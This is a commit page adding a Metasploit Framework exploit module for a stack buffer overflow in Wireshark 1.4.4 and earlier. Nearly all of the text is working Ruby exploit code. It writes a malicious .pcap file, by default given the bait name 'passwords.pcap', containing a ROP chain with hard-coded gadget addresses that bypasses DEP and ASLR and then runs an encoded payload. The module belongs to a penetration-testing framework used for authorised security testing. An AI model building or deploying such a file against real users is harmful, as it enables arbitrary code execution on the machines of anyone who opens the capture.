Added Wireshark packet-dect memcpy overflow (.pcap)
git-svn-id: file:///home/svn/framework3/trunk@12362 4d416f70-5f16-0410-b530-b9f4589650daunstable
Wei Chen
parent
d4dd84536d
commit
9c60889f02
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Wireshark <= 1.4.4 Stack Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in Wireshark <= 1.4.4
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When opening a malicious .pcap file in Wireshark, a stack buffer occurs,
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resulting in arbitrary code execution.
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This exploit bypasses DEP & ASLR and works on XP, Vista & Windows 7.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'sickness', #found the vulnerabilitiy
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'corelanc0d3r' #rop exploit + msf module
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],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=5838' ],
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[ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=5836' ],
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[ 'URL', 'http://www.exploit-db.com/exploits/17185' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 936,
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'DisableNops' => 'True',
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ '32-bit Windows Universal (Generic DEP & ASLR Bypass)',
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{
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'OffSet' => 1243,
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'Ret' => 0x667c484d, #libgnutl pivot - tx Lincoln
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}
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],
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],
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'Privileged' => false,
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'DisclosureDate' => 'April 18 2011',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ true, 'pcap file', 'passwords.pcap']),
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], self.class)
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end
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def junk
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return rand_text(4).unpack("L")[0].to_i
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end
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def exploit
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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global_header = "\xd4\xc3\xb2\xa1" # magic_number
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global_header << "\x02\x00" # major version
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global_header << "\x04\x00" # minor version
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global_header << "\x00\x00\x00\x00" # GMT to local correction
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global_header << "\x00\x00\x00\x00" # accuracy
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global_header << "\xff\x7f\x00\x00" # snaplen
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global_header << "\x01\x00\x00\x00" # data link type
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packet_header = "\x26\x32\xac\x4d" #timestamp seconds
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packet_header << "\xda\xfa\x00\x08" #timestamp microseconds
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packet_header << "\x04\x06\x00\x00" #nr of octets of packet in file
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packet_header << "\x04\x06\x00\x00" #actual size of packet (1540)
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ptype = "\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x23\x23"
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print_status("Preparing payload")
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pivot = [target.ret].pack('V')
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# pvefindaddr rop 'n roll
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# tx dadr00p (https://twitter.com/dietersar) for testing the offsets below
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rop_pivot =
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[
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0x618d7d0e, # RET
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0x618d7d0e, # RET
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0x618d7d0e, # RET
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0x64f9d5ec, # ADD ESP,0C # RET - libfontconfig-1.dll
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0x618d7d0e, # RET <- don't count on this one !
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0x618d7d0e, # RET
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0x618d7d0e, # RET
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0x618d7d0e, # RET
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0x61C14268, # ADD ESP,24 # RETN - freetype6.dll
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0xFFFFFFFF, # crash baby !
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0xFFFFFFFF,
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0xFFFFFFFF,
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0xFFFFFFFF,
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0xFFFFFFFF,
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0x618d7d0e,
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0x618d7d0e,
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0x618d7d0e,
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0x618d7d0e,
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].pack("V*")
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rop_gadgets =
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[
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0x6d7155cb, # PUSH ESP # POP EBX # POP EBP # RETN **[libpangoft2-1.0-0.dll]
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junk,
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0x6d596e31, # MOV EAX,EBX # POP EBX # POP EBP # RETN **[libgio-2.0-0.dll]
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junk,
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junk,
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0x61c14552, # POP EBX # RETN ** [freetype6.dll]
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0x00000800, # size - 0x800 should be more than enough
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0x61c14043, # POP ESI # RETN ** [freetype6.dll]
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0x0000009C,
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0x6d58321a, # ADD EAX,ESI # POP ESI # POP EBP # RETN **[libgio-2.0-0.dll]
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junk,
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junk,
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0x68610a27, # XCHG EAX,EBP # RETN ** [libglib-2.0-0.dll]
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0x629445a6, # POP EAX # RETN ** [libatk-1.0-0.dll]
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0x62d9027c, #
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0x6c385913, # MOV EAX,DWORD PTR DS:[EAX] # ADD CL,CL # RETN ** [libgdk-win32-2.0-0.dll]
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0x617bc526, # XCHG EAX,ESI # ADD AL,10 # ADD CL,CL # RETN ** [libgtk-win32-2.0-0.dll]
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0x64f8c692, # POP EDX # RETN ** [libfontconfig-1.dll]
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0x00000040, #
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0x619638db, # POP ECX # RETN ** [libgtk-win32-2.0-0.dll]
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0x6536B010, # RW
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0x618d7d0d, # POP EDI # RETN ** [libgtk-win32-2.0-0.dll]
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0x618d7d0e, # RET
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0x64fa0c15, # POP EAX # RETN ** [libfontconfig-1.dll]
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0x618d7d0e, # RET
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0x61963fdb, # PUSHAD # RETN ** [libgtk-win32-2.0-0.dll]
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].pack("V*")
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pivot = [target.ret].pack('V')
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buffer = rand_text(131)
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buffer << rop_pivot
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buffer << rop_gadgets
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nops = make_nops(target['OffSet'] - (buffer.length) - (payload.encoded.length))
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buffer << nops
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buffer << payload.encoded
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buffer << pivot
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filler = 1540 - buffer.length
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buffer << rand_text(filler)
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filecontent = global_header
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filecontent << packet_header
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filecontent << ptype
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filecontent << buffer
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print_status("Writing payload to file, " + filecontent.length.to_s()+" bytes")
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file_create(filecontent)
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end
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end
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